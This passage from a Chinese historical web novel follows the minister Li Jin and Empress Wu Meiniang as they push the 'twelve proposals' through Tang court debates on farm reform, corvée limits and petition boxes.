“在 外,” 李瑾加重语气,“ 需 将 ‘ 十 二 事’ 之 利 好, 通 过 各 种 渠 道, 迅 速、 准 确 地 传 递 给 其 目 标 群 体。 此 事, 或 可 借 助 郭 老 夫 人 等 命 妇 圈 子, 在 官 员 家 眷 中 传 播; 通 过 ‘ 墨 香 茶 舍’ 及 与 我 们 亲 近 的 士 子, 在 士 林 中 引 发 讨 论; 利 用 地 方 州 县 中 与 ‘ 督 行 实 务’ 有 合 作 或 受 益 的 官 员, 在 地 方 造 势。 甚 至 … 可 以 让 一 些 与 我 们 关 系 密 切 的 商 贾, 在 市 井 间 宣 扬 ‘ 蠲 免 商 税’ 等 好 处。 当 天 下 皆 知 此 乃 皇 后 仁 政, 期 盼 其 成, 那 些 反 对 者 若 再 行 阻 挠, 便 是 与 天 下 人 为 敌, 其 道 义 与 舆 论 基 础 将 大 为 削 弱。”
他提出了一个系统的、内外结合的推进策略,既有高层的政治博弈技巧,也有中下层的舆论动员手段,显示了其超越时代的政治传播与组织意识。
武媚娘听得心潮起伏,她没想到李瑾不仅谋划了纲领,连后续的推行策略、舆论攻防都已思虑至此。这让她对这个盟友的价值,有了更深的认识,也对自己未来要走的路,增添了无比的信心。
“李相真乃 王 佐 之 才!” 她由衷赞道,目光灼灼地看着李瑾,“有李相在朝中运筹,本宫在宫内呼应,陛下在御座支持,何愁大事不成?只是……如此一来,李相在朝中所受压力,必将倍增。长 孙 等 人, 恐 会 将 更 多 矛 头 指 向 你。**”
“殿下放心。” 李瑾淡然一笑,眼中却闪过一丝坚毅,“臣既已踏上此路,便知前方必有荆棘。然, 为 臣 之 道, 在 于 辅 佐 明 君 贤 后, 利 国 利 民。 个 人 荣 辱 安 危, 与 此 相 比, 何 足 道 哉? 况 且, 臣 之 所 长, 在 ‘ 实 学’ 与 ‘ 实 务’, 所 行 之 事, 皆 有 实 据 可 查, 有 实 效 可 验。 他 们 若 想 攻 讦, 也 不 是 那 般 容 易。 只 是, 臣 与 殿 下 之 间 … 需 更 加 谨 慎, 不 可 落 人 口 实。 如 今 日 之 会, 可 一 不 可 再。 未 来 联 络, 需 另 辟 更 加 稳 妥 隐 秘 之 途。”
“本宫明白。” 武媚娘点头,从袖中取出一枚小巧的、雕刻着凤凰纹样的玉环,递给李瑾,“此乃本宫信物。若有万分紧急、需即刻通传之事,可凭此物,命人送至郭老夫人处,她自有办法传入宫中。寻常消息,仍通过刘太医及宫中旧线。”
李瑾郑重接过玉环收好:“臣谨记。”
两人又就一些具体细节商议了约半个时辰,直到秋月轻声提醒时辰不早。慧明师太也悄然送来简单素斋,两人匆匆用过。
临别前,武媚娘站在禅房门口,望着庭院中皑皑积雪,轻声道:“李相,感业寺一别,不过三年。而今重回此地,与你共谋大计,真如隔世。前路漫漫,艰险未知,然本宫信你,亦望你信本宫。这大唐的江山,你我的抱负,终将……有所成。”
李瑾肃然拱手:“殿下放心。 臣, 必 不 负 所 托, 与 殿 下, 与 陛 下, 共 创 盛 世。 天 寒, 殿 下 保 重 凤 体。 臣, 告 退。**”
说罢,他重新戴好风帽,如同来时一般,悄然消失在侧门外的雪径之中。
武媚娘独立门前,望着他消失的方向,良久,才转身对秋月道:“回宫。”
感业寺的钟声,在雪后的晴空中悠悠响起。一次隐秘的会面,奠定了“建言十二事”未来推行的基本方略,也使得这对身处帝国权力顶端的盟友,在思想和战略上的联结,更加紧密而深入。雏凤已清声初啼,而助其梳理羽翼、谋划方向的“幕后书者”,亦将在他自己的战场上,迎接随之而来的、更加猛烈的风浪。
第83章 劝农桑薄徭役
贞观二十五年,正月。长安城在浓郁的年节氛围与料峭春寒交织中,迎来了新岁的第一次大朝。太极殿前的积雪已被清扫干净,朱红的宫墙在冬日稀薄的阳光下,显出一种沉肃的威严。文武百官手持玉笏,鱼贯入殿,每个人的神情都比往日多了几分凝重与期待。所有人都心知肚明,今日朝会,必将围绕着皇后“建言十二事”之首条——“劝农桑,薄赋徭”的具体实施,展开新一轮的角力。
果然,在例行的新年贺仪与几项紧要边务奏对之后,皇帝李治便将议题引向了“农桑”与“徭役”。他目光扫过殿中众臣,最后落在文官班列前排的李瑾身上,缓缓开口:“去岁皇后所陈‘建言十二事’,首重农桑,薄其赋役,此乃固国本、安生民之要务。年节已过,春耕在即,政事堂对此事,议得如何了?”
尚书右仆射、同中书门下三品于志宁首先出列。他年事已高,但精神矍铄,是朝中有名的务实派,对“劝农桑”本身并不反对。“陛下,皇后殿下心系黎庶,老臣等感佩。政事堂月余来,已就‘劝农桑,薄赋徭’之要,会同司农寺、户部、工部、将作监等有司,议定初步条陈。其要有三:一曰 明 定 劝 课 之 责 与 考 课, 二曰 推 广 新 式 农 具 与 农 法, 三曰 厘 清 徭 役, 严 禁 滥 征。**”
他顿了顿,继续道:“其一,着令 天 下 州 县 长 吏, 必 须 亲 履 田 亩, 督 导 农 事, 所 辖 境 内 垦 田 增 减、 粮 产 丰 歉, 将 作 为 其 岁 末 考 课 之 重 要 依 据, 与 升 黜 直 接 挂 钩。 吏 部 与 御 史 台 将 加 强 巡 察。 其二,由 司 农 寺 主 导, 将 作 监 协 助, 在 关 内、 河 南、 河 东、 河 北 四 道, 择 水 土 各 异 之 二 十 个 州 为 试 点, 全 面 推 广 新 式 钢 犁、 耧 车、 筒 车 等 器 具, 并 派 遣 精 通 农 事 之 老 农 与 工 匠, 下 乡 指 导 使 用 与 维 护。 所 需 器 具, 由 将 作 监 及 地 方 官 坊 以 成 本 价 供 应, 贫 户 可 向 官 仓 借 贷 粮 种 时 一 并 申 请 赊 购, 分 年 偿 还。”
于志宁所言前两条,基本采纳了李瑾与武媚娘商议的要点,尤其是将“新式农具”推广与官员考课、借贷赊购相结合,既明确了责任,又考虑了可行性,显得务实周全。
“其三,” 于志宁语气转为严肃,“关于‘薄赋徭’。除 国 家 正 赋( 租、 庸、 调) 外, 严 禁 地 方 州 县 擅 立 名 目, 加 征 杂 税, 或 在 农 忙 时 节 滥 发 徭 役。 所 有 地 方 性 的 工 程、 运 输 等 徭 役, 必 须 由 州 刺 史 或 县 令 明 文 公 示 事 由、 用 工 数、 时 限 及 是 否 给 予 口 粮 工 钱, 并 报 户 部 备 案。 御 史 台、 按 察 使 需 加 强 监 察, 一 经 发 现 违 规, 主 官 立 刻 黜 免, 从 重 治 罪。 同 时, 对 于 去 岁 遭 受 水 旱 灾 害 的 十 余 个 州 县, 今 年 的 ‘ 庸’( 力 役) 予 以 减 半 或 全 免。**”
“薄赋徭”的具体化,尤其是“严禁擅立名目”、“明文公示”、“备案监察”以及灾区的“庸”役减免,直指地方官吏盘剥百姓的积弊,力度颇大。
于志宁奏毕,殿中响起一片低语。许多官员,尤其是出身地方、了解民间疾苦的,纷纷点头,觉得此三条若真能落实,确为善政。但也有不少人,尤其是与地方利益勾连较深、或认为此举将束缚地方官府手脚的官员,面露忧色。
“于仆射所陈三条,老臣以为,立意虽善,然施行起来,恐多窒碍。” 不出所料,侍中褚遂良出列,提出了质疑。“其一, 以 农 事 考 课 州 县 长 吏, 固 然 重 要。 然 地 方 政 务 繁 杂, 刑 名、 钱 谷、 教 化、 盗 贼, 无 一 不 需 操 心。 若 过 分 强 调 农 事 考 课, 恐 使 地 方 官 吏 只 重 田 亩, 荒 疏 其 他 要 务, 反 生 偏 颇。 且 天 时 难 测, 水 旱 虫 灾, 非 人 力 可 全 抗, 若 仅 因 一 季 歉 收 便 黜 落 勤 勉 之 官, 是 否 有 失 公 允?”
“其二,” 褚遂良继续道,“ 推 广 新 式 农 具, 所 费 不 赀。 将 作 监 以 成 本 价 供 应, 这 成 本 由 何 处 填 补? 是 挪 用 国 帑, 还 是 加 征 于 他 处? 且 赊 购 之 法, 听 似 仁 厚, 然 贫 户 本 就 艰 难, 再 添 债 务, 若 遇 荒 年 无 力 偿 还, 是 否 又 成 新 的 负 累? 更 有 甚 者, 地 方 胥 吏 会 否 借 此 机 会, 勒 索 好 处, 或 强 迫 农 人 购 买 并 不 适 用 之 器 具? 此 等 弊 端, 不 可 不 防。”
“其三, 厘 清 徭 役, 严 禁 滥 征, 理 所 当 然。 然 地 方 公 事, 如 修 缮 官 廨 驿 道、 防 汛 筑 堤、 押 运 官 物 等, 时 有 突 发, 若 事 事 需 明 文 公 示、 报 部 备 案, 恐 贻 误 时 机。 且 给 予 口 粮 工 钱, 固 然 仁 政, 然 地 方 公 用 钱 粮 有 限, 若 大 规 模 工 役 皆 需 支 付, 这 笔 开 支 从 何 而 出? 最 后 恐 又 要 加 诸 百 姓。 此 非 臣 危 言 耸 听, 实 乃 历 朝 屡 见 不 鲜 之 弊 也。**”
褚遂良的质疑,可谓老辣。他并不直接反对“劝农桑薄赋役”本身,而是从执行层面提出一系列实际问题:考课标准是否合理、推广成本与贪腐风险、政策执行可能带来的新问题(债务、僵化、转嫁负担)。这些问题确实存在,也代表了相当一部分务实(或保守)官员的担忧。
于志宁一时语塞,他虽知大略,但对具体操作中的细节风险,确不如常年处理具体政务的褚遂良思虑周全。
这时,李瑾出列了。他知道,该自己这个“督行实务使”、同时也是“新式农具”与相关新政主要推动者出场了。
“陛下,褚侍中所虑,确为老成谋国之言,臣亦深以为然。” 李瑾先肯定了对方提出问题的重要性,姿态谦和,“然, 因 噎 废 食, 亦 不 可 取。 有 弊 当 防, 有 难 当 解, 方 是 为 政 之 道。”
“关于考课,” 李瑾转向褚遂良,语气诚恳,“褚公所虑极是。农事考课, 不 应 唯 产 量 是 图。 臣 之 愚 见, 可 将 考 课 细 化 为 数 项: 一 看 劝 课 是 否 尽 心( 是 否 亲 履 田 亩, 是 否 组 织 修 缮 水 利), 二 看 新 法 新 器 推 广 是 否 得 力, 三 看 赋 役 征 发 是 否 合 规 公 平, 四 看 灾 荒 应 对 是 否 及 时 有 效。 综 合 评 定, 而 非 仅 看 最 终 收 成。 同 时, 可 引 入 ‘ 同 类 地 区 横 向 比 较’ 之 法, 结 合 钦 天 监 对 各 地 气 候 的 记 录, 更 加 客 观 地 评 价 官 员 在 农 事 上 的 努 力 与 成 效, 减 少 天 时 因 素 的 不 公 影 响。**”
他提出了更细化、更综合、也更“科学”的考核思路,并引入了“横向比较”和“气候记录”作为参考,试图解决褚遂良提出的“偏颇”与“不公”问题。
“关于新式农具推广之费与弊,” 李瑾继续道,“成本问题,可分步解决。首批试点之二十州所需,可由将作监从去岁‘明玻’、‘新纸’等物 专 利 分 成 及 海 贸 预 期 收 益 中 拨 付 一 部 分, 不 动 用 常 年 国 帑。 此 乃 以 新 利 养 新 政, 循 环 促 进。 若 试 点 成 效 显 著, 百 姓 得 利, 后 续 全 面 推 广 时, 或 可 考 虑 由 地 方 官 仓 出 资 部 分, 或 允 许 富 户 商 贾 投 资 官 坊 生 产, 分 享 利 润, 以 减 轻 朝 廷 负 担。**”
“至于赊购可能带来的债务风险与胥吏贪墨,” 李瑾神色严肃,“此确需严防。可定下规矩:赊购 自 愿 为 先, 不 得 强 迫; 赊 购 契 约 需 由 县 衙 统 一 印 制, 明 码 标 价, 利 息 从 低 或 无 息, 还 款 期 可 延 至 三 年; 契 约 需 有 保 人( 村 正、 里 长) 联 署 见 证, 并 在 县 衙 备 案。 御 史 台 与 按 察 使 需 将 此 项 作 为 重 点 监 察 内 容, 鼓 励 百 姓 告 发 勒 索 强 卖 行 为, 一 经 查 实, 严 惩 不 贷, 并 连 坐 上 司。 同 时, 可 在 试 点 地 区, 选 拔 一 些 诚 实 有 威 信 的 老 农 作 为 ‘ 农 事 协 理’, 协 助 官 府 宣 导、 分 发 器 具, 并 监 督 胥 吏。”
他提出了一套相对完整的风险防控与执行监督机制,从自愿原则、标准化契约、低息长贷,到备案、监察、举报、连坐,乃至引入民间力量监督,考虑得相当周全。
“关于徭役公示与工钱,” 李瑾最后道,“褚公所言地方突发公务与财力困窘,亦是实情。故细则可加以区分: 常 规 性、 计 划 内 的 工 役( 如 岁 修 水 利、 道 路), 必 须 事 前 公 示 备 案, 并 视 情 给 予 基 本 口 粮 或 微 薄 工 钱。 而 真 正 的 突 发 急 务( 如 抢 险 救 灾、 紧 急 军 需 运 输), 可 在 事 后 补 报 备 案, 并 对 出 役 民 夫 给 予 一 定 补 偿 或 减 免 其 他 赋 役 作 为 抵 偿。 至 于 地 方 公 用 钱 粮, 可 由 户 部 牵 头, 对 各 地 情 况 进 行 核 实, 对 确 实 困 难 的 州 县, 从 中 央 给 予 一 定 的 专 项 补 贴 或 允 许 其 将 部 分 结 余 的 ‘ 庸’ 折 钱 留 用, 专 款 专 用 于 支 付 必 要 工 役 酬 劳, 并 严 格 审 计。 如 此, 既 保 障 了 急 务, 又 防 止 了 滥 用, 亦 考 虑 了 地 方 实 际。**”
李瑾的回应,既承认了问题的存在,又提出了具体、有层次、似乎可行的解决方案,将原则性与灵活性相结合,既坚持了“薄赋徭”的核心(规范、透明、补偿),又为地方执行留下了一定弹性空间。他提出的“以新利养新政”、“横向比较考核”、“引入民间监督”、“专项补贴”等思路,新颖务实,显示出超越时代的治理智慧。
殿中许多官员,包括一些原本中立或心存疑虑的,听了李瑾这番详尽的对答,都不禁暗自点头。就连褚遂良,也一时难以找到新的、有力的反驳点,只能沉着脸,不再言语。长孙无忌深深看了李瑾一眼,目光复杂。
皇帝李治听得频频颔首,最后抚掌道:“好!李瑾所虑周详,既有防弊之策,又有解难之法,深得朕心!于志宁、李瑾,就依你们所议,并参考褚卿提醒,尽快完善细则,形成正式诏令,发付有司及天下州县执行!今年春耕,便要见到实效!户部、御史台需严密跟进,定期奏报!”
“臣等遵旨!” 于志宁、李瑾等人领命。
正月末,关于“劝农桑,薄赋徭”的详细诏令与实施细则,以皇帝制书的形式,正式颁行天下。朝廷的驿马载着抄录的诏书,奔向帝国的每一个角落。同时,由司农寺、将作监联合选派的农官、工匠,也分赴关内、河南、河东、河北四道的二十个试点州县。户部与御史台的稽查官员也陆续出京。
在诏令的末尾,皇帝特意加了一句:“ 此 乃 皇 后 体 恤 民 艰, 首 倡 之 德 政, 天 下 臣 民, 当 共 体 此 心, 戮 力 同 心, 以 臻 富 庶。**” 明确将此政的“首倡”之功归于皇后武媚娘。
立政殿中,武媚娘从皇帝那里得知朝堂争论的细节与最终定论,轻轻舒了一口气。她知道,这艰难的第一步,总算在激烈的博弈后,成功迈了出去。而那个在朝堂上为她精心筹划、据理力争的男人,再次证明了其无可替代的价值。
她走到窗前,望向宫外。早春的风,依然料峭,但风中已隐隐带来泥土解冻的气息。劝农桑的诏令已下,薄赋役的新规已行。帝国的田垄间,无数农夫将扛起新式的铁犁,在希望与疑虑交织中,翻开新一年的春泥。而她,也将在这深宫之中,等待着从四面八方传来的、关于这第一条新政实施成效的消息。那将是她政治生涯真正的第一份答卷,也将决定“建言十二事”后续的命运。
第84章 广言路杜谗言
贞观二十五年的春天,似乎比往年来得更急切些。正月未尽,关中的土地已在和煦的阳光下开始解冻,朝廷关于“劝农桑,薄赋徭”的诏令与细则,如同南来的暖风,迅速传遍四道二十个试点州县,并激起更广泛的涟漪。各地州县长吏无论内心作何想法,面对与考课直接挂钩的严令与御史台的虎视眈眈,皆不敢怠慢,纷纷召集属吏,宣讲新政,清点农具,巡查水利,一时间,朝野上下仿佛都沉浸在一股务实劝农的忙碌氛围之中。然而,在看似顺畅的推行表象之下,暗流依旧涌动。既有对政策本身、尤其“薄赋徭”可能束缚手脚的怨言与变通,也有对皇后借新政扩张影响力的警惕与隐忧。朝堂之上,关于“建言十二事”的博弈,在第一条政策落地后,并未停歇,而是迅速转向了另一条同样敏感且关键的议题——“广言路,杜谗言”。
二月二,龙抬头,大朝。太极殿内,气氛在庄重中透着几分紧绷。皇帝李治端坐御座,神色清明。在听取了几处试点州县关于春耕准备的初步奏报后,他话锋一转,再次提起了“建言十二事”。
“皇后所陈诸事,首重农桑,已在推行。然,兼听则明,偏信则暗。 广 开 言 路, 杜 绝 谗 言, 尤 为 澄 清 吏 治、 稳 定 朝 局 之 要。 前 番 因 立 后 等 事, 朝 野 不 乏 流 言 蜚 语, 甚 至 有 人 借 机 构 陷 忠 良, 扰 乱 人 心。 此 风 不 可 长! 政 事 堂 对 于 如 何 ‘ 广 言 路, 杜 谗 言’, 可 有 定 议?**”
皇帝的言辞中透着一丝对过往流言风波(尤其是针对他和武媚娘)的余怒与警醒,这也使得“杜谗言”一条,在他心中分量格外不同。
这一次,出列主奏的是新任中书侍郎许敬宗。经过“建言十二事”的提出和“劝农桑”政策的初步推行,许敬宗作为“拥武派”核心与文笔干臣的地位更加稳固,由他出面奏对“广言路”这等涉及言论与监察之事,也显得顺理成章。
“陛下,臣等奉旨会议,以为‘广言路’与‘杜谗言’,实为一体两面,相辅相成。” 许敬宗手持玉笏,声音清朗,“ 欲 杜 谗 言, 必 先 使 忠 言 有 路 可 达 天 听, 使 是 非 曲 直 有 公 道 可 辨; 欲 广 言 路, 亦 需 有 法 度 规 制, 以 防 小 人 借 机 诽 谤, 淆 乱 视 听。 故 臣 等 拟 定 三 策, 恭 请 圣 裁。**”
“讲。” 皇帝颔首。
“其一, 于 朝 堂 之 外, 特 设 专 司, 以 通 下 情。” 许敬宗提高了声调,“ 请 于 朝 堂 东 西 两 侧 之 光 顺 门 外, 分 设 ‘ 招 谏 匦’ 与 ‘ 申 冤 匦’。 招 谏 匦, 以 铜 铸 之, 形 如 小 室, 四 面 开 投 书 孔, 分 别 涂 以 青( 延 恩, 言 政 事 得 失 与 进 献 赋 颂)、 丹( 招 谏, 言 朝 政 得 失)、 白( 申 冤, 陈 诉 冤 抑)、 黑( 通 玄, 告 天 文 秘 谋 或 言 军 国 机 要) 四 色。 天 下 臣 民, 不 拘 身 份, 皆 可 将 所 欲 言 之 事, 写 成 封 章, 投 入 相 应 匦 中。 由 陛 下 指 定 专 人( 建 议 由 中 书 省、 门 下 省 各 派 一 员 郎 中 级 官 员 共 同 掌 管) 每 日 定 时 开 取, 直 接 呈 送 御 前, 或 由 政 事 堂 依 内 容 分 类 处 置。 如 此, 则 下 情 可 直 达 天 听, 不 为 中 间 官 吏 所 阻 隔。**”
设立“铜匦”,直接收集民间上书!这无疑是一个极具冲击力的提议!它绕过了传统的层层奏报渠道,试图建立一条直达御前的、不受品级和出身限制的言路。殿中顿时一片哗然!许多官员脸色骤变。这意味着,任何一个平民、小吏,都可能通过这个“铜匦”,直接向皇帝告发他们这些朝廷大员!权力和安全感受到了赤裸裸的挑战!
“其二,” 许敬宗不顾众人反应,继续道,“ 明 定 规 矩, 奖 诚 惩 诬。 凡 经 铜 匦 或 正 常 渠 道 上 书 言 事 者, 只 要 不 是 公 然 诽 谤 君 父、 动 摇 国 本, 即 便 言 词 激 切, 或 有 失 实 之 处, 亦 不 得 以 言 治 罪, 反 应 予 以 鼓 励。 对 于 所 言 事 实 清 楚、 确 有 裨 益 之 建 言 或 揭 发, 不 论 上 书 者 身 份 高 低, 朝 廷 应 予 以 嘉 奖, 或 赐 金 帛, 或 授 散 官。 同 时, 必 须 严 惩 诬 告! 凡 经 查 实 属 于 无 中 生 有、 恶 意 构 陷 他 人 者, 不 论 是 否 造 成 后 果, 一 律 依 律 反 坐, 从 重 治 罪! 主 管 铜 匦 及 受 理 诉 状 的 官 员, 若 有 泄 露 上 书 人 信 息、 压 制 合 理 上 诉 或 徇 私 舞 弊 者, 同 罪 严 惩!”
奖诚惩诬,保护言者,反坐诬告,并追究主管官员责任。这一条试图在鼓励进言与防止滥诉之间寻求平衡,并建立一定的问责机制。
“其三, 强 化 御 史 台 与 按 察 使 职 权, 专 司 察 验 与 追 究 谗 言 及 不 法。 御 史 台 除 原 有 职 责 外, 需 对 朝 野 间 流 传 的 重 大 或 恶 意 流 言 进 行 追 查, 溯 及 源 头。 对 于 那 些 散 布 谣 言、 攻 讦 大 臣、 离 间 君 臣、 扰 乱 朝 纲 的 行 为, 无 论 涉 及 何 人, 一 查 到 底, 严 惩 不 贷。 地 方 按 察 使 亦 需 将 此 列 入 巡 察 要 务。 如 此, 方 能 以 法 制 谣, 以 正 压 邪, 还 朝 堂 清 明。”
赋予御史台追查流言的明确职责,矛头直指朝堂内外的政治谣言与攻击,意图建立制度化的反制力量。
许敬宗奏毕,殿中再次陷入沉寂,但这次沉寂之下涌动的暗流,比刚才更加汹涌澎湃。设立铜匦、奖诚惩诬、强化御史台追谣权力……这三条若真落实,将彻底改变现有的信息流通与权力监督格局,对习惯于通过门第、资历、人脉掌控话语权的传统势力,尤其是对长孙无忌、褚遂良等以“清议”、“风骨”自诩、同时也常利用舆论打击对手的元老重臣而言,无疑是极大的威胁与束缚。
果然,侍中褚遂良几乎是立刻出列,脸色因激动而微微发红,声音也带着压抑不住的怒气:“陛下!许敬宗所奏三策, 貌 似 公 允, 实 则 包 藏 祸 心, 万 万 不 可 行!**”
“哦?褚卿何出此言?” 皇帝眉头微皱。
“陛下!” 褚遂良痛心疾首道,“ 国 家 设 官 分 职, 各 有 所 司。 下 情 上 达, 自 有 州 县、 台 省、 御 史 层 层 奏 报 之 制, 此 乃 高 祖、 太 宗 所 定 之 成 法, 亦 是 防 止 奸 小 淆 乱 视 听 之 保 障。 今 若 于 宫 门 之 外, 设 此 铜 匦, 使 贩 夫 走 卒、 山 野 村 夫 皆 可 投 书 直 达 御 前, 则 将 置 我 大 唐 百 官 于 何 地? 朝 廷 威 仪 何 在? 更 有 甚 者, 此 举 必 将 导 致 诲 言 蜂 起, 诬 告 成 风! 一 些 心 怀 叵 测 之 徒, 或 为 泄 私 愤, 或 为 求 赏 赐, 必 然 捕 风 捉 影, 罗 织 罪 名, 攻 讦 大 臣, 搅 得 朝 野 不 宁! 届 时, 陛 下 案 头 堆 积 如 山 的, 将 不 是 治 国 良 策, 而 是 无 穷 无 尽 的 诬 告 与 谗 言! 此 非 广 言 路, 实 乃 开 谗 路 也!”
他激烈反对铜匦,认为其破坏现有官僚体系、损害朝廷威严,并必然导致诬告泛滥,扰乱朝政。
“至于奖诚惩诬,” 褚遂良继续道,“ 说 来 容 易, 行 之 极 难! 何 为 ‘ 诚’? 何 为 ‘ 诬’? 有 些 事 情, 真 伪 难 辨, 各 执 一 词。 若 轻 易 奖 赏, 恐 纵 容 投 机; 若 动 辄 反 坐, 又 会 寒 了 真 正 有 冤 屈 而 言 词 或 有 过 激 者 之 心。 此 中 分 寸, 如 何 把 握? 最 后 恐 怕 又 是 权 臣 借 机 打 压 异 己 的 工 具! 而 强 化 御 史 台 追 查 流 言, 更 是 危 险! 流 言 如 风, 来 去 无 踪。 若 授 权 御 史 深 文 周 纳, 以 言 论 治 罪, 则 人 人 自 危, 钳 口 不 言, 与 ‘ 广 言 路’ 之 旨 岂 非 背 道 而 驰? 此 三 策, 名 为 杜 谗, 实 则 可 能 酿 成 更 大 的 谗 害 与 党 争! 陛 下 不 可 不 察!**”
褚遂良的质疑同样尖锐,直指政策执行中的模糊地带与潜在风险,认为可能适得其反,成为新的斗争工具,并导致言论压制。
褚遂良话音落下,韩瑗、来济等官员纷纷出言附和,强调现有言路已足,增设铜匦弊大于利,需慎重。许多中层官员也面露忧色,担心自己成为匿名举报的目标。
面对激烈的反对,许敬宗正欲反驳,皇帝却将目光投向了李瑾:“李卿,你曾言‘建言十二事’需有周全之策以防弊,对此三策,尤其是褚卿所虑,你有何见解?”
李瑾知道,皇帝这是要他再次扮演“解决问题者”的角色。他出列,先向褚遂良微微躬身:“褚侍中老成谋国,所虑深远,臣亦深以为然。铜匦之设、奖惩之度、追谣之权,若处置不当,确有可能滋生新弊,甚至背离初衷。”
他先肯定对方忧虑的合理性,缓和气氛,然后话锋一转:“然, 因 有 弊 而 不 为, 非 治 国 之 道。 前 番 流 言 伤 人、 扰 乱 朝 纲 之 祸, 殷 鉴 不 远。 若 不 建 立 更 加 畅 通、 规 范 且 有 保 障 的 言 路, 不 以 法 制 严 惩 恶 意 构 陷, 则 类 似 之 事 恐 将 层 出 不 穷, 耗 费 朝 廷 无 数 心 力 于 内 耗, 亦 使 忠 直 之 士 寒 心 裹 足。”
他点明了问题的紧迫性与不改革的危害。
“故臣以为,” 李瑾继续道,语气沉稳,“许侍郎所奏三策,方向可取,然需加以 补 充 与 完 善, 以 堵 漏 洞, 防 流 弊。 关 于 铜 匦: 其 设 立 之 本 意, 在 于 补 现 有 言 路 之 不 足, 而 非 取 代。 可 明 确, 凡 属 官 方 正 常 职 权 范 围 内、 可 通 过 现 有 渠 道 解 决 的 事 务, 应 鼓 励 人 们 先 行 按 制 上 报。 铜 匦 主 要 用 于 那 些 确 实 受 到 阻 挠、 或 事 关 重 大 而 现 有 渠 道 难 以 反 映 的 情 况。 同 时, 可 要 求 投 书 者 尽 量 署 名( 可 用 化 名, 但 需 有 基 本 身 份 信 息 以 便 必 要 时 核 实), 并 对 匿 名 无 据 的 攻 讦 性 投 书, 进 行 初 步 筛 选 与 核 实, 不 经 易 上 达 天 听 或 交 有 司 处 置, 以 减 少 无 谓 骚 扰。 掌 匦 官 员 的 选 任 与 监 督, 需 格 外 严 格, 可 由 御 史 台 派 员 参 与 监 督 开 匦 过 程。”
他对铜匦的使用范围、署名要求、初步筛选和监督机制进行了补充,试图减少其滥用可能。
“关于奖诚惩诬之度,” 李瑾看向褚遂良,“褚公所虑‘真伪难辨’,确是难点。臣以为,可引入 初 步 核 查 与 分 级 处 理 机 制。 对 于 投 书 内 容, 不 是 立 刻 定 性 奖 惩, 而 是 先 由 专 人( 如 掌 匦 官 会 同 相 关 部 门) 进 行 初 步 的 事 实 核 查 与 情 理 分 析。 对 于 明 显 荒 诞 不 经、 毫 无 实 据 的 诬 告, 直 接 存 档 备 查, 不 予 受 理, 但 也 不 立 刻 反 坐( 避 免 阻 吓 真 正 有 顾 虑 的 上 书 者)。 对 于 有 一 定 线 索、 可 能 涉 及 官 员 不 法 或 重 大 弊 政 的, 则 按 程 序 移 交 御 史 台 或 有 关 部 门 正 式 立 案 调 查。 只 有 在 调 查 结 果 明 确 证 实 为 恶 意 构 陷, 且 造 成 严 重 后 果 时, 方 适 用 ‘ 反 坐’ 重 罚。 对 于 经 查 证 属 实 的 有 益 建 言 或 有 力 揭 发, 再 行 公 开 嘉 奖。 如 此, 既 体 现 朝 廷 重 视, 又 避 免 滥 赏 滥 罚。**”
他提出了“初步核查、分级处理、调查定性后再奖惩”的流程,试图解决执行中的模糊性问题。
“关于御史台追查流言,” 李瑾最后道,“ 关 键 在 于 界 定 ‘ 流 言’ 的 范 围 与 标 准。 不 能 泛 泛 而 谈, 更 不 能 以 言 入 罪。 臣 以 为, 御 史 台 追 查 的, 应 是 那 种 明 显 针 对 朝 廷 重 臣、 皇 室 成 员, 内 容 涉 及 谋 逆、 贪 墨 等 重 大 罪 名, 且 在 一 定 范 围 内 广 为 传 播、 已 对 朝 局 稳 定 或 个 人 名 誉 造 成 实 质 损 害 的 恶 意 谣 言。 且 追 查 必 须 依 法 进 行, 有 迹 可 循, 不 能 搞 牵 连 株 连。 同 时, 御 史 台 自 身 也 需 接 受 更 严 格 的 监 督, 防 止 其 滥 用 此 权。”
他严格限定了御史台追查的范围和标准,强调依法依规,并加强对其自身的监督。
李瑾的补充和完善,试图在鼓励进言与防止滥诉、追查谣言与保障言论之间寻找平衡点,并建立更清晰的操作规程和监督机制。虽然不能完全消除反对者的疑虑,但至少让许多中立官员觉得,这政策并非全然不可行,且有防范措施。
皇帝李治听完,沉吟片刻,缓缓道:“褚卿所虑,乃老成之言;李卿所补,乃务实之策。 广 言 路, 不 可 不 为; 杜 谗 言, 亦 不 可 不 严。 然 操 作 之 法, 确 需 慎 之 又 慎。 着 政 事 堂, 以 许 敬 宗 所 奏 三 策 为 基, 参 酌 李 瑾 补 充 之 意, 并 考 虑 褚 遂 良 等 人 之 谏, 细 化 规 程, 尤 其 是 铜 匦 管 理、 投 书 核 查、 奖 惩 标 准 及 御 史 台 权 限 边 界, 务 求 明 晰 可 行, 防 止 流 弊。 议 定 后, 颁 行 试 行。 此 事, 由 许 敬 宗 主 持, 李 瑾、 御 史 大 夫 协 助。**”
皇帝最终拍板,原则通过,但要求进一步细化,并指定了由许敬宗主持、李瑾协助(实为提供完善思路)、御史大夫参与的班子,平衡了各方势力,也确保了政策能朝着相对可控的方向推进。
一场关于“广言路,杜谗言”的激烈朝争,暂时告一段落。但所有人都知道,这仅仅是开始。铜匦能否真的设立起来,设立后又将收到怎样的投书,会对朝局产生何等影响,都是未知之数。然而,一股试图打破信息垄断、规范言论监督、抑制恶意攻讦的新风,已在这早春的朝堂上,悄然刮起。立政殿中的武媚娘,也在等待着这份旨在“畅通言路、稳定朝局”的新政,能为她带来怎样的信息与力量。
第85章 百官皆称善
贞观二十五年的夏秋之交,长安城在溽热与骤雨的交替中,迎来了对“建言十二事”前两条政策——“劝农桑薄赋徭”与“广言路杜谗言”——为期近半年推行的首次阶段性检验。朝野的目光,从最初的质疑、观望、争论,逐渐转向了实际发生的变化与数字。那些从二十个试点州县陆续传回的奏报,从四方汇集到司农寺、户部、御史台乃至两仪殿御案上的各类文书,以及悄然在市井坊间、官员私邸中流传的见闻与议论,都开始勾勒出“新政”实施后的第一幅真实图景。
进入七月,各地夏粮陆续入库。朝廷派往试点州县的巡察御史、司农寺专使的密奏,与地方州县的正式考课奏报,如同百川归海,汇聚于长安。七月十五,中元节后的大朝,便成了检验成果、论功行赏(或罚)的关键场合。太极殿内,文武百官肃立,但许多人的脸上都带着难以掩饰的期待、紧张,或好奇。连一向沉静的长孙无忌、褚遂良等人,眉宇间也多了几分凝重。皇帝李治高坐御座,手中把玩着一份奏报,神色间看不出喜怒,但目光扫过殿中时,隐约带着一丝审视与期待。
朝议开始不久,皇帝便示意司农卿出列,汇报试点地区夏粮收成与“劝农桑”政策施行情况。
